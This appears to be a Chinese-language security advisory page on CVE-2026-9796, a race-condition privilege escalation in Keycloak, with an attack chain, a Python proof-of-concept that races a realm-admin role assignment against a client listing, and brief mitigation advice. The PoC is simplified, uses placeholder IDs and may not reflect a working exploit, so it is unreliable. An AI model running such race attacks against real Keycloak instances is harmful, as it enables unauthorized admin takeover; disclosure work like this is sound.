IPBUF安全漏洞报告
English
CVE-2026-9796 CVSS 6.5 中危

CVE-2026-9796 Keycloak TOCTOU权限提升漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9796
漏洞类型
权限提升
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

权限提升TOCTOUKeycloak竞态条件CVE-2026-9796

漏洞概述

Keycloak发现一处TOCTOU漏洞。拥有`manage-clients`角色的认证管理员可利用基于名称的角色检查竞态条件,将权限提升至`realm-admin`。攻击者借此获取域内所有用户的广泛控制权。该复合角色关系极具顽固性,即便攻击者原权限被撤销或系统重启,提权状态仍会持续存在,造成严重安全风险。

技术细节

该漏洞源于Keycloak在处理管理员角色检查时存在Time-of-check to time-of-use (TOCTOU) 竞态条件。具体而言,系统在验证角色名称与实际执行授权操作之间的检查存在时间差。具备`manage-clients`权限的攻击者可利用此窗口,通过精心构造的并发HTTP请求(如多线程操作),在角色名称校验通过但尚未锁定资源的瞬间,修改或创建客户端及角色绑定,从而欺骗系统赋予其`realm-admin`特权。由于Keycloak对复合角色关系的持久化机制存在缺陷,一旦提升成功,即使攻击者原有的`manage-clients`权限被管理员移除,或系统发生重启,其非法获得的`realm-admin`权限仍然有效,导致难以清除的持久性威胁。这使得攻击者能够完全接管目标Realm,执行包括用户管理、客户端配置在内的所有敏感操作,严重破坏系统的身份认证与访问控制体系。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标Keycloak实例,并获取一个具有`manage-clients`角色的低权限管理员账号凭据。
STEP 2
Exploitation
攻击者编写脚本发送并发HTTP请求,利用TOCTOU竞态条件。一个线程触发角色名称检查,另一个线程在检查与使用的间隙尝试分配`realm-admin`角色。
STEP 3
Privilege Escalation
由于竞态条件,系统错误地将`realm-admin`权限赋予了攻击者账户。
STEP 4
Persistence
利用复合角色关系的持久化特性,即使原始`manage-clients`权限被撤销或系统重启,攻击者仍保持`realm-admin`权限。
STEP 5
System Control
攻击者利用完全控制权管理域内所有用户、客户端和配置。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import threading import requests # Target configuration TARGET_URL = "https://keycloak.example.com" REALM_NAME = "master" CLIENT_ID = "admin-cli" # Attacker credentials (user with 'manage-clients' role) USERNAME = "attacker" PASSWORD = "password" # Obtain access token auth_data = { "client_id": CLIENT_ID, "username": USERNAME, "password": PASSWORD, "grant_type": "password" } token_resp = requests.post(f"{TARGET_URL}/realms/{REALM_NAME}/protocol/openid-connect/token", data=auth_data) access_token = token_resp.json().get("access_token") headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Exploit Logic: Race Condition between Check and Use def assign_realm_admin(): """Thread 1: Attempt to assign realm-admin role to the attacker.""" # Endpoint to add composite role (simplified) # The attacker tries to add 'realm-admin' to their own role mappings payload = { "roles": [ {"id": "realm-admin-id", "name": "realm-admin"} ] } # Note: Real exploitation requires specific client/role IDs found via reconnaissance print("[Thread 1] Attempting to assign realm-admin role...") try: r = requests.post(f"{TARGET_URL}/admin/realms/{REALM_NAME}/users/{USER_ID}/role-mappings/realm", json=payload, headers=headers) print(f"[Thread 1] Assignment Status: {r.status_code}") except Exception as e: print(f"[Thread 1] Error: {e}") def trigger_name_check(): """Thread 2: Trigger the admin role check (The Check).""" # This request triggers the logic that checks the admin role name print("[Thread 2] Triggering role name check...") try: r = requests.get(f"{TARGET_URL}/admin/realms/{REALM_NAME}/clients", headers=headers) print(f"[Thread 2] Check Status: {r.status_code}") except Exception as e: print(f"[Thread 2] Error: {e}") if __name__ == "__main__": # USER_ID needs to be gathered first via API calls USER_ID = "attacker-user-id" # Launch threads to exploit the race condition threads = [] for _ in range(10): # Run multiple times to increase success probability t1 = threading.Thread(target=assign_realm_admin) t2 = threading.Thread(target=trigger_name_check) threads.append(t1) threads.append(t2) t1.start() t2.start() for t in threads: t.join() print("Exploit attempt finished.")

影响范围

Keycloak (具体受影响版本需参考官方通告)

防御指南

临时缓解措施
在应用官方补丁前,建议严格限制并监控拥有`manage-clients`权限的账户,避免在敏感时段进行权限变更。如果发现已被攻击,需手动检查数据库或管理控制台,移除异常获取的`realm-admin`角色,并重启服务以清除可能缓存的权限状态。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表